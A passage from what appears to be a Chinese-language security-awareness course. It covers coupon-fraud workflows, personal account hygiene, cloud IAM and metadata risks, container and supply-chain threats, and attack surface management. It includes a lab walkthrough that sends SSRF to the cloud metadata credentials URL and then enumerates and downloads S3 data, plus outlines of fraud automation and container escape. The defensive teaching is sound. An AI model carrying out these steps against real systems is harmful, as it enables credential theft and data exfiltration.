动作链：① 养号：用猫池（批量插手机卡的硬件）、接码平台（收验证码短信）批量注册"新用户"；② 自动化：脚本/群控系统批量领优惠券、抢购、刷单；③ 变现：把领到的优惠券、礼品、抽奖资格卖给"收货商"或在闲鱼转卖；④ 对抗：平台上风控（设备指纹、行为识别、验证码）→ 羊毛党上接码/打码平台绕过 → 军备竞赛。

数据点：各大平台每年因羊毛党损失以"亿"计——某电商平台曾单次活动被薅走 上亿元；2020 年某打车平台因"新用户补贴+可重复领"漏洞，一夜被薅 数千万。风控行业因此诞生：设备指纹识别、IP 池黑名单、行为风控（机器学习判断"像不像真人"）、实名核验成为标配。

1. 密码分级：银行/支付一个密码，社交一个，论坛一个；每个都用"长句子+特殊符号"（如 ilove*吃火锅@2024!），绝不用生日手机号。
2. 开启双因素认证（2FA）：重要账号全部开启，App 验证器优先于短信（短信可被拦截/伪基站）。
3. 不点陌生链接：短信/邮件里的链接先看域名——https:// 前缀可以伪造，域名后缀才是真（zxcbug.com 和 zxcbug.com.verify.cn 完全是两个站）。
4. 验证码是命根子：任何人索要验证码 = 骗子，立即挂断。
5. 转账前 30 秒冷静：凡是"安全账户""保证金""解冻费"全是诈骗专用词。
6. 定期查泄露：用 HIBP（Have I Been Pwned）查自己的邮箱是否出现在泄露库；查到就改密码。
7. 隐私最小化：能不填就不填——收货地址、身份证照片、人脸信息越少曝光越好。
8. 设备防护：手机电脑装系统自带防护即可（Windows Defender 足够），别装来路不明的"清理大师"——很多就是木马。
9. Wi-Fi 防蹭：公共 Wi-Fi 不登录任何账号（防 Evil Twin，见 08G）；自家路由开 WPA2/WPA3，改默认密码。
10. 发现被骗立刻做三件事：① 报警（110/96110 反诈专线）→ ② 冻结银行卡/支付账户 → ③ 修改所有相关密码。越快，追回概率越高。

① IAM（身份与访问管理）——云上的"门禁系统"，决定"谁"能对"哪个资源"做"什么操作"。配置错 = 门禁形同虚设。经典错误：给子账号塞了"管理员全权"、跨账号信任没隔离、密钥长期不轮换。

② AK/SK（访问密钥）——云 API 的"用户名+密码"，通常是一对字符串：AccessKey（AK，类似用户名）+ SecretKey（SK，类似密码）。泄露来源：代码仓库硬编码（GitHub 爬虫天天在扫）、前端打包文件、离职员工的旧密钥。拿到 AK/SK = 能用云 API 干任何授权范围内的事：列文件、下载数据、开新主机（挖矿）、删库。

③ IMDS / 元数据服务（169.254.169.254）——云主机内部访问的一个"魔法地址"，存着这台机器的临时凭据（角色令牌）。部分 SSRF 漏洞（如 Capital One 案，见 08++）就是让目标服务器去请求这个地址，把云凭据偷出来，然后从服务器跳到整个云账号。

④ STS Token（临时凭据）——云用短期令牌代替长期密钥，有效期几十分钟到几小时。偷到临时令牌也能干活，但"占小屋"——所以攻击者拿到后会立刻用，防守方要看"异常时段的异常操作"。

容器（Docker/K8s 的最小单元）本质是被 namespace+cgroup 限制的进程集，不是虚拟机——没有独立的操作系统内核。这意味着：

① 镜像供应链：镜像从 Docker Hub/私有仓库拉取，恶意镜像（藏挖矿木马、后门）比比皆是。官方镜像也可能被投毒（曾有事件：恶意 PyPI 包和 npm 包伪装成知名库）。→ 用镜像扫描（Trivy/Clair）+ 固定镜像摘要（digest）锁定版本。

② 容器逃逸（Container Escape）：容器内拿到代码执行还不够，攻击者要"逃出"容器到宿主机。经典路径：利用内核漏洞（如 CVE-2019-5736 runC，见 08E）、错误挂载（宿主 / 目录被挂进来）、特权容器（--privileged 给了过大能力）。逃逸成功 = 宿主机沦陷 = 同宿主的兄弟容器全完蛋。

③ K8s 层面：漏洞集中在 API Server 未授权、kubelet 匿名访问、Service Account 令牌滥用、Dashboard 暴露。有公开案例：仅凭一个开放的 kubelet 端口（10250）未授权，就绕过鉴权拿到节点控制。

④ 配置漂移：DevOps 滚动发布的另一面是"安全配置只管当时"——跑着跑着权限就松了。用 IaC（基础设施即代码）版本化管理 + 定期基线扫描（kube-bench）是标准姿势。

Serverless（如 AWS Lambda、阿里云 FC）是"只写代码不管服务器"，但攻击面不仅没消失，还换了个形式：

• 函数配置错误：函数触发器权限过大、环境变量里塞真正的密钥（经典错误——环境变量明文放 API Key）
• 依赖投毒：函数依赖的第三方库被恶意版本替换，跑一次就执行一次恶意代码
• 事件投毒（Event Injection）：攻击者控制触发函数的事件内容（如上传的图片名），函数处理时未校验，变成注入点
• 资源耗尽：故意用海量事件把函数的并发配额打满，或让计费飙升（"云上 DDoS 的变体：打你的钱包"）

防守要点：环境变量不放密钥（用 Secrets Manager 注入）、函数入参严格校验、依赖锁定 + 扫描、资源配额设上限并配异常告警。

这条链就是 Capital One 事件（2024 年罚单后公开复盘）的真实套路，放靶场里完整演一遍：

① 发现 Web 应用的 SSRF（服务端请求伪造）——提交一个 URL 它就去请求
② 让目标请求 http://169.254.169.254/latest/meta-data/iam/security-credentials/
   ——SSRF 打到云元数据服务，偷出该主机绑定的 IAM 临时凭据（STS Token）
③ 用偷来的凭据调用云 API：枚举所有 S3 存储桶（s3:ListBuckets）
④ 找高风险桶（放付款日志/用户数据的）→ 下载拖走（s3:GetObject）
⑤ 全程可以在云控制台查操作日志（CloudTrail）逆向复盘——防守侧也能用同一份日志溯源

防守视角的修复链：Web 层堵 SSRF（内网地址/IPv6 特殊地址/云元数据地址全部拉黑）→ IAM 最小权限（该主机只能访问它该访问的桶）→ 敏感桶加密 + 访问审计 + 异常下载告警。

1. 所有存储桶是否显式设置为私有（除 CDN 需要外）？是否定期扫描公开桶？
2. AK/SK 是否从未出现在代码仓库、前端 JS、公开文档里？
3. IAM 是否按最小权限拆分角色？是否还有 90 天没碰过的"幽灵密钥"？
4. 密钥是否定期轮换？是否启用访问密钥的过期时间？
5. 云主机是否做过 IMDS 访问限制（如 v2 强制 Token 模式）？
6. 容器镜像是否扫描过已知漏洞？是否固定了镜像版本摘要？
7. K8s API Server 是否对公网关闭？kubelet 是否禁用匿名访问？
8. 云函数环境变量里有没有明文密钥？触发事件是否有校验和限流？
9. 是否开了云日志（CloudTrail/ActionTrail）并接入了 SIEM？保留期是否合规？
10. 云账号是否启用 MFA、登录异常风控、充值/删库等高危操作二次确认？

云是财富，也是新战场——配置即漏洞，权限即风险，日志即生命线。这套清单 15 分钟能过完，比一次数据泄露便宜太多。

攻击者在代码被写出来的阶段就介入：

• 依赖投毒：往 PyPI/npm/Maven 上传恶意包，名字仿冒热门库（typosquatting / 拼写错误攻击），或伪装成"更好用"的新库；开发者习惯性安装即中招
• 依赖混淆：企业私有包名与公共仓库同名，攻击者在公共源上传同名校验高的版本——构建时解析到恶意版
• 维护者渗透：攻击者长期贡献代码混进信任圈，最终拿到提交/发布权限（xz 事件就是两年潜伏）
• 源码后门：直接往公开源码提交后门代码（曾有知名项目被 PR 夹带后门，review 没看出）

防守：依赖锁定版本（lock 文件）+ 包完整性校验（checksum）+ 开源依赖扫描（SCA：Syft/Grype/OSV）+ 私有代理源（过滤公共源）。

即使代码干净，构建出来的东西也可能被换：

• CI/CD 入侵：攻破 Jenkins/GitHub Actions/构建服务器，篡改构建脚本或替换产物（SolarWinds 就是这步）
• 发布通道劫持：镜像仓库、更新服务器、应用市场被攻破/被上假包
• 中间人替换：不校验签名/哈希的下载，传输中被替换成恶意版

防守：构建环境隔离 + 产物签名（代码签名证书）+ 发布源 TLS + 下载校验（sha256sum + 签名验证）+ 软件物料清单（SBOM）——记录"这个软件由哪些组件拼成"，出事后能精确圈定影响面。

攻击者知道"客户会更新"，于是盯上更新通道：

• 更新劫持：无签名/弱校验的更新包，被替换成恶意版（很多小厂商更新不签名）
• CDN 投毒：公共 CDN 上的库文件被投毒（jsdelivr/unpkg 曾发生过事件）
• 盗版诱导：诱导用户装"破解版/绿色版"，实际就是恶意包

防守：强制签名更新 + 更新源白名单 + 用户侧校验（更新前查发布公告/哈希比对）+ "破解版=毒药"意识。

攻击面管理（Attack Surface Management）核心思想：先于攻击者发现自己。很多公司被攻破后才发现"我们居然还有个没备案的测试服务器挂在公网"。

ASM 的标准流程（自己当一次攻击者）：

1. 资产盘点：域名 + 子域名 + IP 段 + 云资产 + 证书 + API + 移动端应用
2. 持续监测：新增资产自动发现（员工新开的测试站、云上随手建的桶）
3. 风险评估：暴露面排序（哪台机器最可能被打、哪些数据最值钱）
4. 收敛与验证：关闭多余暴露、补配置、复查

工具侧：Censys/FOFA/Shodan 能帮你像攻击者一样"看到自己"；开源项目（如 Amass/Sublist3r）做资产发现；商业化 ASM 平台（如内部用的云平台自带的攻击面模块）自动化持续监测。